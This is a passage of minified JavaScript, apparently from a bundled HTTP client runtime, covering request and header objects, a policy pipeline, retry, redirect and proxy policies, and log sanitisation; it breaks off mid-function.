Cw1=k(()=>{VU={Base64Url:"Base64Url",Boolean:"Boolean",ByteArray:"ByteArray",Composite:"Composite",Date:"Date",DateTime:"DateTime",DateTimeRfc1123:"DateTimeRfc1123",Dictionary:"Dictionary",Enum:"Enum",Number:"Number",Object:"Object",Sequence:"Sequence",String:"String",Stream:"Stream",TimeSpan:"TimeSpan",UnixTime:"UnixTime"}});var Mo;var Lw1=k(()=>{Mo=class Mo extends Error{constructor(A){super(A);this.name="AbortError"}}});function Rw1(A){return A.toLowerCase()}function*X1Y(A){for(let K of A.values())yield[K.name,K.value]}function ju(A){return new gt4(A)}var gt4;var ChA=k(()=>{gt4=class gt4{constructor(A){if(this._headersMap=new Map,A)for(let K of Object.keys(A))this.set(K,A[K])}set(A,K){this._headersMap.set(Rw1(A),{name:A,value:String(K).trim()})}get(A){var K;return(K=this._headersMap.get(Rw1(A)))===null||K===void 0?void 0:K.value}has(A){return this._headersMap.has(Rw1(A))}delete(A){this._headersMap.delete(Rw1(A))}toJSON(A={}){let K={};if(A.preserveCase)for(let q of this._headersMap.values())K[q.name]=q.value;else for(let[q,Y]of this._headersMap)K[q]=Y.value;return K}toString(){return JSON.stringify(this.toJSON({preserveCase:!0}))}[Symbol.iterator](){return X1Y(this._headersMap)}}});var Ft4=()=>{};var Qt4=()=>{};import{randomUUID as $1Y}from"node:crypto";function LhA(){return _1Y()}var $O6,_1Y;var _O6=k(()=>{_1Y=typeof(($O6=globalThis===null||globalThis===void 0?void 0:globalThis.crypto)===null||$O6===void 0?void 0:$O6.randomUUID)==="function"?globalThis.crypto.randomUUID.bind(globalThis.crypto):$1Y});class Ut4{constructor(A){var K,q,Y,z,w,H,J;this.url=A.url,this.body=A.body,this.headers=(K=A.headers)!==null&&K!==void 0?K:ju(),this.method=(q=A.method)!==null&&q!==void 0?q:"GET",this.timeout=(Y=A.timeout)!==null&&Y!==void 0?Y:0,this.multipartBody=A.multipartBody,this.formData=A.formData,this.disableKeepAlive=(z=A.disableKeepAlive)!==null&&z!==void 0?z:!1,this.proxySettings=A.proxySettings,this.streamResponseStatusCodes=A.streamResponseStatusCodes,this.withCredentials=(w=A.withCredentials)!==null&&w!==void 0?w:!1,this.abortSignal=A.abortSignal,this.onUploadProgress=A.onUploadProgress,this.onDownloadProgress=A.onDownloadProgress,this.requestId=A.requestId||LhA(),this.allowInsecureConnection=(H=A.allowInsecureConnection)!==null&&H!==void 0?H:!1,this.enableBrowserStreams=(J=A.enableBrowserStreams)!==null&&J!==void 0?J:!1,this.requestOverrides=A.requestOverrides,this.authSchemes=A.authSchemes}}function GO6(A){return new Ut4(A)}var pt4=k(()=>{ChA();_O6()});class yw1{constructor(A){var K;this._policies=[],this._policies=(K=A===null||A===void 0?void 0:A.slice(0))!==null&&K!==void 0?K:[],this._orderedPolicies=void 0}addPolicy(A,K={}){if(K.phase&&K.afterPhase)throw Error("Policies inside a phase cannot specify afterPhase.");if(K.phase&&!dt4.has(K.phase))throw Error(`Invalid phase name: ${K.phase}`);if(K.afterPhase&&!dt4.has(K.afterPhase))throw Error(`Invalid afterPhase name: ${K.afterPhase}`);this._policies.push({policy:A,options:K}),this._orderedPolicies=void 0}removePolicy(A){let K=[];return this._policies=this._policies.filter((q)=>{if(A.name&&q.policy.name===A.name||A.phase&&q.options.phase===A.phase)return K.push(q.policy),!1;else return!0}),this._orderedPolicies=void 0,K}sendRequest(A,K){return this.getOrderedPolicies().reduceRight((z,w)=>{return(H)=>{return w.sendRequest(H,z)}},(z)=>A.sendRequest(z))(K)}getOrderedPolicies(){if(!this._orderedPolicies)this._orderedPolicies=this.orderPolicies();return this._orderedPolicies}clone(){return new yw1(this._policies)}static create(){return new yw1}orderPolicies(){let A=[],K=new Map;function q(Z){return{name:Z,policies:new Set,hasRun:!1,hasAfterPolicies:!1}}let Y=q("Serialize"),z=q("None"),w=q("Deserialize"),H=q("Retry"),J=q("Sign"),O=[Y,z,w,H,J];function X(Z){if(Z==="Retry")return H;else if(Z==="Serialize")return Y;else if(Z==="Deserialize")return w;else if(Z==="Sign")return J;else return z}for(let Z of this._policies){let{policy:W,options:D}=Z,j=W.name;if(K.has(j))throw Error("Duplicate policy names not allowed in pipeline");let M={policy:W,dependsOn:new Set,dependants:new Set};if(D.afterPhase)M.afterPhase=X(D.afterPhase),M.afterPhase.hasAfterPolicies=!0;K.set(j,M),X(D.phase).policies.add(M)}for(let Z of this._policies){let{policy:W,options:D}=Z,j=W.name,M=K.get(j);if(!M)throw Error(`Missing node for policy ${j}`);if(D.afterPolicies)for(let P of D.afterPolicies){let f=K.get(P);if(f)M.dependsOn.add(f),f.dependants.add(M)}if(D.beforePolicies)for(let P of D.beforePolicies){let f=K.get(P);if(f)f.dependsOn.add(M),M.dependants.add(f)}}function $(Z){Z.hasRun=!0;for(let W of Z.policies){if(W.afterPhase&&(!W.afterPhase.hasRun||W.afterPhase.policies.size))continue;if(W.dependsOn.size===0){A.push(W.policy);for(let D of W.dependants)D.dependsOn.delete(W);K.delete(W.policy.name),Z.policies.delete(W)}}}function _(){for(let Z of O){if($(Z),Z.policies.size>0&&Z!==z){if(!z.hasRun)$(z);return}if(Z.hasAfterPolicies)$(z)}}let G=0;while(K.size>0){G++;let Z=A.length;if(_(),A.length<=Z&&G>1)throw Error("Cannot satisfy policy dependencies due to requirements cycle.")}return A}}function ZO6(){return yw1.create()}var dt4;var ct4=k(()=>{dt4=new Set(["Deserialize","Serialize","Retry","Sign"])});function RhA(A){return typeof A==="object"&&A!==null&&!Array.isArray(A)&&!(A instanceof RegExp)&&!(A instanceof Date)}function F7A(A){if(RhA(A)){let K=typeof A.name==="string",q=typeof A.message==="string";return K&&q}return!1}var WO6=()=>{};import{inspect as G1Y}from"node:util";var lt4;var it4=k(()=>{lt4=G1Y.custom});class Mu{constructor({additionalAllowedHeaderNames:A=[],additionalAllowedQueryParameters:K=[]}={}){A=Z1Y.concat(A),K=W1Y.concat(K),this.allowedHeaderNames=new Set(A.map((q)=>q.toLowerCase())),this.allowedQueryParameters=new Set(K.map((q)=>q.toLowerCase()))}sanitize(A){let K=new Set;return JSON.stringify(A,(q,Y)=>{if(Y instanceof Error)return Object.assign(Object.assign({},Y),{name:Y.name,message:Y.message});if(q==="headers")return this.sanitizeHeaders(Y);else if(q==="url")return this.sanitizeUrl(Y);else if(q==="query")return this.sanitizeQuery(Y);else if(q==="body")return;else if(q==="response")return;else if(q==="operationSpec")return;else if(Array.isArray(Y)||RhA(Y)){if(K.has(Y))return"[Circular]";K.add(Y)}return Y},2)}sanitizeUrl(A){if(typeof A!=="string"||A===null||A==="")return A;let K=new URL(A);if(!K.search)return A;for(let[q]of K.searchParams)if(!this.allowedQueryParameters.has(q.toLowerCase()))K.searchParams.set(q,DO6);return K.toString()}sanitizeHeaders(A){let K={};for(let q of Object.keys(A))if(this.allowedHeaderNames.has(q.toLowerCase()))K[q]=A[q];else K[q]=DO6;return K}sanitizeQuery(A){if(typeof A!=="object"||A===null)return A;let K={};for(let q of Object.keys(A))if(this.allowedQueryParameters.has(q.toLowerCase()))K[q]=A[q];else K[q]=DO6;return K}}var DO6="REDACTED",Z1Y,W1Y;var yhA=k(()=>{Z1Y=["x-ms-client-request-id","x-ms-return-client-request-id","x-ms-useragent","x-ms-correlation-request-id","x-ms-request-id","client-request-id","ms-cv","return-client-request-id","traceparent","Access-Control-Allow-Credentials","Access-Control-Allow-Headers","Access-Control-Allow-Methods","Access-Control-Allow-Origin","Access-Control-Expose-Headers","Access-Control-Max-Age","Access-Control-Request-Headers","Access-Control-Request-Method","Origin","Accept","Accept-Encoding","Cache-Control","Connection","Content-Length","Content-Type","Date","ETag","Expires","If-Match","If-Modified-Since","If-None-Match","If-Unmodified-Since","Last-Modified","Pragma","Request-Id","Retry-After","Server","Transfer-Encoding","User-Agent","WWW-Authenticate"],W1Y=["api-version"]});function jO6(A){if(A instanceof rV)return!0;return F7A(A)&&A.name==="RestError"}var D1Y,rV;var MO6=k(()=>{WO6();it4();yhA();D1Y=new Mu;rV=class rV extends Error{constructor(A,K={}){super(A);this.name="RestError",this.code=K.code,this.statusCode=K.statusCode,Object.defineProperty(this,"request",{value:K.request,enumerable:!1}),Object.defineProperty(this,"response",{value:K.response,enumerable:!1}),Object.defineProperty(this,lt4,{value:()=>{return`RestError: ${this.message} ${D1Y.sanitize(Object.assign(Object.assign({},this),{request:this.request,response:this.response}))}`},enumerable:!1}),Object.setPrototypeOf(this,rV.prototype)}};rV.REQUEST_SEND_ERROR="REQUEST_SEND_ERROR";rV.PARSE_ERROR="PARSE_ERROR"});function Pu(A,K){return Buffer.from(A,K)}var YI;var Iw1=k(()=>{Tw1();YI=Nw1("ts-http-runtime")});import*as S_A from"node:http";import*as h_A from"node:https";import*as Sw1 from"node:zlib";import{Transform as j1Y}from"node:stream";function IhA(A){return A&&typeof A.pipe==="function"}function nt4(A){if(A.readable===!1)return Promise.resolve();return new Promise((K)=>{let q=()=>{K(),A.removeListener("close",q),A.removeListener("end",q),A.removeListener("error",q)};A.on("close",q),A.on("end",q),A.on("error",q)})}function rt4(A){return A&&typeof A.byteLength==="number"}class ot4{constructor(){this.cachedHttpsAgents=new WeakMap}async sendRequest(A){var K,q,Y;let z=new AbortController,w;if(A.abortSignal){if(A.abortSignal.aborted)throw new Mo("The operation was aborted. Request has already been canceled.");w=(_)=>{if(_.type==="abort")z.abort()},A.abortSignal.addEventListener("abort",w)}let H;if(A.timeout>0)H=setTimeout(()=>{let _=new Mu;YI.info(`request to '${_.sanitizeUrl(A.url)}' timed out. canceling...`),z.abort()},A.timeout);let J=A.headers.get("Accept-Encoding"),O=(J===null||J===void 0?void 0:J.includes("gzip"))||(J===null||J===void 0?void 0:J.includes("deflate")),X=typeof A.body==="function"?A.body():A.body;if(X&&!A.headers.has("Content-Length")){let _=N1Y(X);if(_!==null)A.headers.set("Content-Length",_)}let $;try{if(X&&A.onUploadProgress){let j=A.onUploadProgress,M=new PO6(j);if(M.on("error",(P)=>{YI.error("Error in upload progress",P)}),IhA(X))X.pipe(M);else M.end(X);X=M}let _=await this.makeRequest(A,z,X);if(H!==void 0)clearTimeout(H);let G=P1Y(_),W={status:(K=_.statusCode)!==null&&K!==void 0?K:0,headers:G,request:A};if(A.method==="HEAD")return _.resume(),W;$=O?V1Y(_,G):_;let D=A.onDownloadProgress;if(D){let j=new PO6(D);j.on("error",(M)=>{YI.error("Error in download progress",M)}),$.pipe(j),$=j}if(((q=A.streamResponseStatusCodes)===null||q===void 0?void 0:q.has(Number.POSITIVE_INFINITY))||((Y=A.streamResponseStatusCodes)===null||Y===void 0?void 0:Y.has(W.status)))W.readableStreamBody=$;else W.bodyAsText=await f1Y($);return W}finally{if(A.abortSignal&&w){let _=Promise.resolve();if(IhA(X))_=nt4(X);let G=Promise.resolve();if(IhA($))G=nt4($);Promise.all([_,G]).then(()=>{var Z;if(w)(Z=A.abortSignal)===null||Z===void 0||Z.removeEventListener("abort",w)}).catch((Z)=>{YI.warning("Error when cleaning up abortListener on httpRequest",Z)})}}}makeRequest(A,K,q){var Y;let z=new URL(A.url),w=z.protocol!=="https:";if(w&&!A.allowInsecureConnection)throw Error(`Cannot connect to ${A.url} while allowInsecureConnection is false.`);let H=(Y=A.agent)!==null&&Y!==void 0?Y:this.getOrCreateAgent(A,w),J=Object.assign({agent:H,hostname:z.hostname,path:`${z.pathname}${z.search}`,port:z.port,method:A.method,headers:A.headers.toJSON({preserveCase:!0})},A.requestOverrides);return new Promise((O,X)=>{let $=w?S_A.request(J,O):h_A.request(J,O);if($.once("error",(_)=>{var G;X(new rV(_.message,{code:(G=_.code)!==null&&G!==void 0?G:rV.REQUEST_SEND_ERROR,request:A}))}),K.signal.addEventListener("abort",()=>{let _=new Mo("The operation was aborted. Rejecting from abort signal callback while making request.");$.destroy(_),X(_)}),q&&IhA(q))q.pipe($);else if(q)if(typeof q==="string"||Buffer.isBuffer(q))$.end(q);else if(rt4(q))$.end(ArrayBuffer.isView(q)?Buffer.from(q.buffer):Buffer.from(q));else YI.error("Unrecognized body type",q),X(new rV("Unrecognized body type"));else $.end()})}getOrCreateAgent(A,K){var q;let Y=A.disableKeepAlive;if(K){if(Y)return S_A.globalAgent;if(!this.cachedHttpAgent)this.cachedHttpAgent=new S_A.Agent({keepAlive:!0});return this.cachedHttpAgent}else{if(Y&&!A.tlsSettings)return h_A.globalAgent;let z=(q=A.tlsSettings)!==null&&q!==void 0?q:M1Y,w=this.cachedHttpsAgents.get(z);if(w&&w.options.keepAlive===!Y)return w;return YI.info("No cached TLS Agent exist, creating a new Agent"),w=new h_A.Agent(Object.assign({keepAlive:!Y},z)),this.cachedHttpsAgents.set(z,w),w}}}function P1Y(A){let K=ju();for(let q of Object.keys(A.headers)){let Y=A.headers[q];if(Array.isArray(Y)){if(Y.length>0)K.set(q,Y[0])}else if(Y)K.set(q,Y)}return K}function V1Y(A,K){let q=K.get("Content-Encoding");if(q==="gzip"){let Y=Sw1.createGunzip();return A.pipe(Y),Y}else if(q==="deflate"){let Y=Sw1.createInflate();return A.pipe(Y),Y}return A}function f1Y(A){return new Promise((K,q)=>{let Y=[];A.on("data",(z)=>{if(Buffer.isBuffer(z))Y.push(z);else Y.push(Buffer.from(z))}),A.on("end",()=>{K(Buffer.concat(Y).toString("utf8"))}),A.on("error",(z)=>{if(z&&(z===null||z===void 0?void 0:z.name)==="AbortError")q(z);else q(new rV(`Error reading response as text: ${z.message}`,{code:rV.PARSE_ERROR}))})})}function N1Y(A){if(!A)return 0;else if(Buffer.isBuffer(A))return A.length;else if(IhA(A))return null;else if(rt4(A))return A.byteLength;else if(typeof A==="string")return Buffer.from(A).length;else return null}function at4(){return new ot4}var M1Y,PO6;var st4=k(()=>{Lw1();ChA();MO6();Iw1();yhA();M1Y={};PO6=class PO6 extends j1Y{_transform(A,K,q){this.push(A),this.loadedBytes+=A.length;try{this.progressCallback({loadedBytes:this.loadedBytes}),q()}catch(Y){q(Y)}}constructor(A){super();this.loadedBytes=0,this.progressCallback=A}}});function VO6(){return at4()}var tt4=k(()=>{st4()});function NO6(A={}){var K;let q=(K=A.logger)!==null&&K!==void 0?K:YI.info,Y=new Mu({additionalAllowedHeaderNames:A.additionalAllowedHeaderNames,additionalAllowedQueryParameters:A.additionalAllowedQueryParameters});return{name:fO6,async sendRequest(z,w){if(!q.enabled)return w(z);q(`Request: ${Y.sanitize(z)}`);let H=await w(z);return q(`Response status code: ${H.status}`),q(`Headers: ${Y.sanitize(H.headers)}`),H}}}var fO6="logPolicy";var et4=k(()=>{Iw1();yhA()});function TO6(A={}){let{maxRetries:K=20}=A;return{name:"redirectPolicy",async sendRequest(q,Y){let z=await Y(q);return Ke4(Y,z,K)}}}async function Ke4(A,K,q,Y=0){let{request:z,status:w,headers:H}=K,J=H.get("location");if(J&&(w===300||w===301&&Ae4.includes(z.method)||w===302&&Ae4.includes(z.method)||w===303&&z.method==="POST"||w===307)&&Y<q){let O=new URL(J,z.url);if(z.url=O.toString(),w===303)z.method="GET",z.headers.delete("Content-Length"),delete z.body;z.headers.delete("Authorization");let X=await A(z);return Ke4(A,X,q,Y+1)}return K}var Ae4;var qe4=k(()=>{Ae4=["GET","HEAD"]});var ShA=3;function vO6(){return{name:"decompressResponsePolicy",async sendRequest(A,K){if(A.method!=="HEAD")A.headers.set("Accept-Encoding","gzip,deflate");return K(A)}}}function EO6(A,K){return A=Math.ceil(A),K=Math.floor(K),Math.floor(Math.random()*(K-A+1))+A}function hhA(A,K){let q=K.retryDelayInMs*Math.pow(2,A),Y=Math.min(K.maxRetryDelayInMs,q);return{retryAfterInMs:Y/2+EO6(0,Y/2)}}var kO6=()=>{};function Ye4(A,K,q){return new Promise((Y,z)=>{let w=void 0,H=void 0,J=()=>{return z(new Mo((q===null||q===void 0?void 0:q.abortErrorMsg)?q===null||q===void 0?void 0:q.abortErrorMsg:T1Y))},O=()=>{if((q===null||q===void 0?void 0:q.abortSignal)&&H)q.abortSignal.removeEventListener("abort",H)};if(H=()=>{if(w)clearTimeout(w);return O(),J()},(q===null||q===void 0?void 0:q.abortSignal)&&q.abortSignal.aborted)return J();if(w=setTimeout(()=>{O(),Y(K)},A),q===null||q===void 0?void 0:q.abortSignal)q.abortSignal.addEventListener("abort",H)})}function ze4(A,K){let q=A.headers.get(K);if(!q)return;let Y=Number(q);if(Number.isNaN(Y))return;return Y}var T1Y="The operation was aborted.";var CO6=k(()=>{Lw1()});function we4(A){if(!(A&&[429,503].includes(A.status)))return;try{for(let z of v1Y){let w=ze4(A,z);if(w===0||w)return w*(z===LO6?1000:1)}let K=A.headers.get(LO6);if(!K)return;let Y=Date.parse(K)-Date.now();return Number.isFinite(Y)?Math.max(0,Y):void 0}catch(K){return}}function He4(A){return Number.isFinite(we4(A))}function Je4(){return{name:"throttlingRetryStrategy",retry({response:A}){let K=we4(A);if(!Number.isFinite(K))return{skipStrategy:!0};return{retryAfterInMs:K}}}}var LO6="Retry-After",v1Y;var RO6=k(()=>{CO6();v1Y=["retry-after-ms","x-ms-retry-after-ms",LO6]});function Oe4(A={}){var K,q;let Y=(K=A.retryDelayInMs)!==null&&K!==void 0?K:E1Y,z=(q=A.maxRetryDelayInMs)!==null&&q!==void 0?q:k1Y;return{name:"exponentialRetryStrategy",retry({retryCount:w,response:H,responseError:J}){let O=L1Y(J),X=O&&A.ignoreSystemErrors,$=C1Y(H),_=$&&A.ignoreHttpStatusCodes;if(H&&(He4(H)||!$)||_||X)return{skipStrategy:!0};if(J&&!O&&!$)return{errorToThrow:J};return hhA(w,{retryDelayInMs:Y,maxRetryDelayInMs:z})}}}function C1Y(A){return Boolean(A&&A.status!==void 0&&(A.status>=500||A.status===408)&&A.status!==501&&A.status!==505)}function L1Y(A){if(!A)return!1;return A.code==="ETIMEDOUT"||A.code==="ESOCKETTIMEDOUT"||A.code==="ECONNREFUSED"||A.code==="ECONNRESET"||A.code==="ENOENT"||A.code==="ENOTFOUND"}var E1Y=1000,k1Y=64000;var Xe4=k(()=>{kO6();RO6()});function bhA(A,K={maxRetries:ShA}){let q=K.logger||R1Y;return{name:y1Y,async sendRequest(Y,z){var w,H;let J,O,X=-1;A:while(!0){X+=1,J=void 0,O=void 0;try{q.info(`Retry ${X}: Attempting to send request`,Y.requestId),J=await z(Y),q.info(`Retry ${X}: Received a response from request`,Y.requestId)}catch($){if(q.error(`Retry ${X}: Received an error from request`,Y.requestId),O=$,!$||O.name!=="RestError")throw $;J=O.response}if((w=Y.abortSignal)===null||w===void 0?void 0:w.aborted)throw q.error(`Retry ${X}: Request aborted.`),new Mo;if(X>=((H=K.maxRetries)!==null&&H!==void 0?H:ShA))if(q.info(`Retry ${X}: Maximum retries reached. Returning the last received response, or throwing the last received error.`),O)throw O;else if(J)return J;else throw Error("Maximum retries reached with no response or error to throw");q.info(`Retry ${X}: Processing ${A.length} retry strategies.`);K:for(let $ of A){let _=$.logger||q;_.info(`Retry ${X}: Processing retry strategy ${$.name}.`);let G=$.retry({retryCount:X,response:J,responseError:O});if(G.skipStrategy){_.info(`Retry ${X}: Skipped.`);continue K}let{errorToThrow:Z,retryAfterInMs:W,redirectTo:D}=G;if(Z)throw _.error(`Retry ${X}: Retry strategy ${$.name} throws error:`,Z),Z;if(W||W===0){_.info(`Retry ${X}: Retry strategy ${$.name} retries after ${W}`),await Ye4(W,void 0,{abortSignal:Y.abortSignal});continue A}if(D){_.info(`Retry ${X}: Retry strategy ${$.name} redirects to ${D}`),Y.url=D;continue A}}if(O)throw q.info("None of the retry strategies could work with the received error. Throwing it."),O;if(J)return q.info("None of the retry strategies could work with the received response. Returning it."),J}}}}var R1Y,y1Y="retryPolicy";var yO6=k(()=>{CO6();Lw1();Tw1();R1Y=Nw1("ts-http-runtime retryPolicy")});function SO6(A={}){var K;return{name:IO6,sendRequest:bhA([Je4(),Oe4(A)],{maxRetries:(K=A.maxRetries)!==null&&K!==void 0?K:ShA}).sendRequest}}var IO6="defaultRetryPolicy";var $e4=k(()=>{Xe4();RO6();yO6()});var hO6,bO6,xO6,uO6,_e4,Ge4,Ze4,We4,b_A,De4;var BO6=k(()=>{_e4=typeof window<"u"&&typeof window.document<"u",Ge4=typeof self==="object"&&typeof(self===null||self===void 0?void 0:self.importScripts)==="function"&&(((hO6=self.constructor)===null||hO6===void 0?void 0:hO6.name)==="DedicatedWorkerGlobalScope"||((bO6=self.constructor)===null||bO6===void 0?void 0:bO6.name)==="ServiceWorkerGlobalScope"||((xO6=self.constructor)===null||xO6===void 0?void 0:xO6.name)==="SharedWorkerGlobalScope"),Ze4=typeof Deno<"u"&&typeof Deno.version<"u"&&typeof Deno.version.deno<"u",We4=typeof Bun<"u"&&typeof Bun.version<"u",b_A=typeof globalThis.process<"u"&&Boolean(globalThis.process.version)&&Boolean((uO6=globalThis.process.versions)===null||uO6===void 0?void 0:uO6.node),De4=typeof navigator<"u"&&(navigator===null||navigator===void 0?void 0:navigator.product)==="ReactNative"});function I1Y(A){var K;let q={};for(let[Y,z]of A.entries())(K=q[Y])!==null&&K!==void 0||(q[Y]=[]),q[Y].push(z);return q}function gO6(){return{name:mO6,async sendRequest(A,K){if(b_A&&typeof FormData<"u"&&A.body instanceof FormData)A.formData=I1Y(A.body),A.body=void 0;if(A.formData){let q=A.headers.get("Content-Type");if(q&&q.indexOf("application/x-www-form-urlencoded")!==-1)A.body=S1Y(A.formData);else await h1Y(A.formData,A);A.formData=void 0}return K(A)}}}function S1Y(A){let K=new URLSearchParams;for(let[q,Y]of Object.entries(A))if(Array.isArray(Y))for(let z of Y)K.append(q,z.toString());else K.append(q,Y.toString());return K.toString()}async function h1Y(A,K){let q=K.headers.get("Content-Type");if(q&&!q.startsWith("multipart/form-data"))return;K.headers.set("Content-Type",q!==null&&q!==void 0?q:"multipart/form-data");let Y=[];for(let[z,w]of Object.entries(A))for(let H of Array.isArray(w)?w:[w])if(typeof H==="string")Y.push({headers:ju({"Content-Disposition":`form-data; name="${z}"`}),body:Pu(H,"utf-8")});else if(H===void 0||H===null||typeof H!=="object")throw Error(`Unexpected value for key ${z}: ${H}. Value should be serialized to string first.`);else{let J=H.name||"blob",O=ju();O.set("Content-Disposition",`form-data; name="${z}"; filename="${J}"`),O.set("Content-Type",H.type||"application/octet-stream"),Y.push({headers:O,body:H})}K.multipartBody={parts:Y}}var mO6="formDataPolicy";var je4=k(()=>{BO6();ChA()});var Ve4=v((WC)=>{var b1Y=WC&&WC.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),x1Y=WC&&WC.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),Pe4=WC&&WC.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))b1Y(K,A,q)}return x1Y(K,A),K},u1Y=WC&&WC.__importDefault||function(A){return A&&A.__esModule?A:{default:A}};Object.defineProperty(WC,"__esModule",{value:!0});WC.HttpProxyAgent=void 0;var B1Y=Pe4(CA("net")),m1Y=Pe4(CA("tls")),g1Y=u1Y(V1A()),F1Y=CA("events"),Q1Y=e16(),Me4=CA("url"),x_A=(0,g1Y.default)("http-proxy-agent");class FO6 extends Q1Y.Agent{constructor(A,K){super(K);this.proxy=typeof A==="string"?new Me4.URL(A):A,this.proxyHeaders=K?.headers??{},x_A("Creating new HttpProxyAgent instance: %o",this.proxy.href);let q=(this.proxy.hostname||this.proxy.host).replace(/^\[|\]$/g,""),Y=this.proxy.port?parseInt(this.proxy.port,10):this.proxy.protocol==="https:"?443:80;this.connectOpts={...K?U1Y(K,"headers"):null,host:q,port:Y}}addRequest(A,K){A._header=null,this.setRequestProps(A,K),super.addRequest(A,K)}setRequestProps(A,K){let{proxy:q}=this,Y=K.secureEndpoint?"https:":"http:",z=A.getHeader("host")||"localhost",w=`${Y}//${z}`,H=new Me4.URL(A.path,w);if(K.port!==80)H.port=String(K.port);A.path=String(H);let J=typeof this.proxyHeaders==="function"?this.proxyHeaders():{...this.proxyHeaders};if(q.username||q.password){let O=`${decodeURIComponent(q.username)}:${decodeURIComponent(q.password)}`;J["Proxy-Authorization"]=`Basic ${Buffer.from(O).toString("base64")}`}if(!J["Proxy-Connection"])J["Proxy-Connection"]=this.keepAlive?"Keep-Alive":"close";for(let O of Object.keys(J)){let X=J[O];if(X)A.setHeader(O,X)}}async connect(A,K){if(A._header=null,!A.path.includes("://"))this.setRequestProps(A,K);let q,Y;if(x_A("Regenerating stored HTTP header string for request"),A._implicitHeader(),A.outputData&&A.outputData.length>0)x_A("Patching connection write() output buffer with updated header"),q=A.outputData[0].data,Y=q.indexOf(`\r \r `)+4,A.outputData[0].data=A._header+q.substring(Y),x_A("Output buffer: %o",A.outputData[0].data);let z;if(this.proxy.protocol==="https:")x_A("Creating `tls.Socket`: %o",this.connectOpts),z=m1Y.connect(this.connectOpts);else x_A("Creating `net.Socket`: %o",this.connectOpts),z=B1Y.connect(this.connectOpts);return await(0,F1Y.once)(z,"connect"),z}}FO6.protocols=["http","https"];WC.HttpProxyAgent=FO6;function U1Y(A,...K){let q={},Y;for(Y in A)if(!K.includes(Y))q[Y]=A[Y];return q}});function hw1(A){if(process.env[A])return process.env[A];else if(process.env[A.toLowerCase()])return process.env[A.toLowerCase()];return}function n1Y(){if(!process)return;let A=hw1(p1Y),K=hw1(c1Y),q=hw1(d1Y);return A||K||q}function r1Y(A,K,q){if(K.length===0)return!1;let Y=new URL(A).hostname;if(q===null||q===void 0?void 0:q.has(Y))return q.get(Y);let z=!1;for(let w of K)if(w[0]==="."){if(Y.endsWith(w))z=!0;else if(Y.length===w.length-1&&Y===w.slice(1))z=!0}else if(Y===w)z=!0;return q===null||q===void 0||q.set(Y,z),z}function o1Y(){let A=hw1(l1Y);if(ke4=!0,A)return A.split(",").map((K)=>K.trim()).filter((K)=>K.length);return[]}function a1Y(){let A=n1Y();return A?new URL(A):void 0}function Ne4(A){let K;try{K=new URL(A.host)}catch(q){throw Error(`Expecting a valid host string in proxy settings, but found "${A.host}".`)}if(K.port=String(A.port),A.username)K.username=A.username;if(A.password)K.password=A.password;return K}function Te4(A,K,q){if(A.agent)return;let z=new URL(A.url).protocol!=="https:";if(A.tlsSettings)YI.warning("TLS settings are not supported in combination with custom Proxy, certificates provided to the client will be ignored.");let w=A.headers.toJSON();if(z){if(!K.httpProxyAgent)K.httpProxyAgent=new Ee4.HttpProxyAgent(q,{headers:w});A.agent=K.httpProxyAgent}else{if(!K.httpsProxyAgent)K.httpsProxyAgent=new ve4.HttpsProxyAgent(q,{headers:w});A.agent=K.httpsProxyAgent}}function UO6(A,K){if(!ke4)fe4.push(...o1Y());let q=A?Ne4(A):a1Y(),Y={};return{name:QO6,async sendRequest(z,w){var H;if(!z.proxySettings&&q&&!r1Y(z.url,(H=K===null||K===void 0?void 0:K.customNoProxyList)!==null&&H!==void 0?H:fe4,(K===null||K===void 0?void 0:K.customNoProxyList)?void 0:i1Y))Te4(z,Y,q);else if(z.proxySettings)Te4(z,Y,Ne4(z.proxySettings));return w(z)}}}var ve4,Ee4,p1Y="HTTPS_PROXY",d1Y="HTTP_PROXY",c1Y="ALL_PROXY",l1Y="NO_PROXY",QO6="proxyPolicy",fe4,ke4=!1,i1Y;var Ce4=k(()=>{Iw1();ve4=o(KRA(),1),Ee4=o(Ve4(),1),fe4=[],i1Y=new Map});function pO6(A){return{name:"agentPolicy",sendRequest:async(K,q)=>{if(!K.agent)K.agent=A;return q(K)}}}function dO6(A){return{name:"tlsPolicy",sendRequest:async(K,q)=>{if(!K.tlsSettings)K.tlsSettings=A;return q(K)}}}function bw1(A){return typeof A.stream==="function"}var Le4,ikw,nkw,rkw,okw,akw,skw,tkw,ekw,ACw,KCw,qCw,YCw,zCw,wCw,HCw,JCw,OCw,XCw,$Cw,Q7A,cO6,_Cw,Re4,GCw,ZCw,WCw,DCw,jCw,MCw,PCw,VCw,fCw;var ye4=k(()=>{Le4=o(Uz(),1),{__extends:ikw,__assign:nkw,__rest:rkw,__decorate:okw,__param:akw,__esDecorate:skw,__runInitializers:tkw,__propKey:ekw,__setFunctionName:ACw,__metadata:KCw,__awaiter:qCw,__generator:YCw,__exportStar:zCw,__createBinding:wCw,__values:HCw,__read:JCw,__spread:OCw,__spreadArrays:XCw,__spreadArray:$Cw,__await:Q7A,__asyncGenerator:cO6,__asyncDelegator:_Cw,__asyncValues:Re4,__makeTemplateObject:GCw,__importStar:ZCw,__importDefault:WCw,__classPrivateFieldGet:DCw,__classPrivateFieldSet:jCw,__classPrivateFieldIn:MCw,__addDisposableResource:PCw,__disposeResources:VCw,__rewriteRelativeImportExtension:fCw}=Le4.default});import{Readable as lO6}from"stream";function Ie4(){return cO6(this,arguments,function*(){let K=this.getReader();try{while(!0){let{done:q,value:Y}=yield Q7A(K.read());if(q)return yield Q7A(void 0);yield yield Q7A(Y)}}finally{K.releaseLock()}})}function s1Y(A){if(!A[Symbol.asyncIterator])A[Symbol.asyncIterator]=Ie4.bind(A);if(!A.values)A.values=Ie4.bind(A)}function Se4(A){if(A instanceof ReadableStream)return s1Y(A),lO6.fromWeb(A);else return A}function t1Y(A){if(A instanceof Uint8Array)return lO6.from(Buffer.from(A));else if(bw1(A))return Se4(A.stream());else return Se4(A)}async function he4(A){return function(){let K=A.map((q)=>typeof q==="function"?q():q).map(t1Y);return lO6.from(function(){return cO6(this,arguments,function*(){var 